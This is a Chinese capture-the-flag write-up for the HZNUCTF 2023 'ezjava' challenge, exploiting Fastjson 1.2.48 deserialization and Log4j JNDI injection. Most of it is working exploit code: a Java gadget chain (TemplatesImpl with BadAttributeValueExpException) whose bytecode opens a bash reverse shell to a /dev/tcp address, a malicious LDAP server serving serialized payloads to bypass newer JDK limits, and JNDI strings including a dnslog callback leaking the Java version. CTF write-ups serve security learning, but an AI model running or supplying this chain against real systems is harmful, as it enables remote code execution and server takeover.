[HZNUCTF 2023 final]ezjava

高版本的Fastjson,和chu0师傅讨论Fastjson的时候,在网上找寻LDAP相关问题,看到这个题的解决办法刚好解决了困惑,顺便把这个题目也做了。

解题过程

image-20240416191620538

开题提示Fastjson:1.2.48

加上开局的Try to fxxk it ( Log4j

最开始很容易想到是log4j,奈何我太菜,还没学到log4j就做了Fastjson的做法

提示了我们fastjson版本为1.2.48,可以利用1.2.48的exp打或者直接用1.2.83的全版本原生反序列化利用

exp生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class FastNativeAll {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception{


TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,(bash -c 'exec bash -i >& /dev/tcp/ip/port 0>&1'的base64版)}|{base64,-d}|{bash,-i}")});
setValue(templates, "_name", "q1ngchuan");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
byte[] serialize = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(serialize));

// ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();

}
}

生成的返序列化数据放到1.txt里

利用LDAPServer链接打反序列化

将下面代码打包成jar包,和1.txt一起放到服务器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import org.apache.commons.io.FileUtils;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.File;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
//高版本LDAP绕过

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] tmp_args ) throws Exception{
if (tmp_args.length < 2) {
System.out.println("Usage: java xxx.jar <IP> <file>");
System.exit(1);
}

String ip = tmp_args[0];
String[] args = new String[]{"http://" + ip +"/#Evail"};
String payload = "";
File file = new File(tmp_args[1]);
try {
payload = FileUtils.readFileToString(file);
System.out.println(payload);
} catch (IOException e) {
e.printStackTrace();
}

int port = 6666;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]), payload));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;
private String payload;

public OperationInterceptor ( URL cb , String payload) {
this.codebase = cb;
this.payload = payload;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e, payload);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e , String payload) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

e.addAttribute("javaSerializedData", Base64.decode(payload));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

服务器开俩端口,一个监听,一个开LDAP

1
java -jar LDAPServer.jar vpsip 1.txt

image-20240416192545572

image-20240416192553631

页面端发送url

image-20240416192621737

1
{{urlenc(${jndi:ldap://vpsip:6666/Evail})}}

后面反弹shell成功拿到flag

image-20240416192723558

这里写一下log4j的payload测试

1
{{urlenc(${jndi:dns://${sys:java.version}.x3574y.dnslog.cn})}}

这里很明显可以看到是有回显的,看到别的师傅wp写到:

发现java版本为jdk1.8.0_222,因为在log4j打的其实就是JNDI注入,所以第一时间想到的就是 此版本已经是jdk8u191之后了,所以就不能够进行远程加载类了

image-20240416193103269

image-20240416193054017

附言

做出来这个题内心真的好满足,哇咔咔,真的很感谢前面chu0师傅的耐心解答,谢谢谢谢谢谢!!!!

参考文章:https://xz.aliyun.com/t/13793?time__1311=mqmxnQKGwxyD2DBqDTlxxuiDcG%3DDkQzFeD#toc-11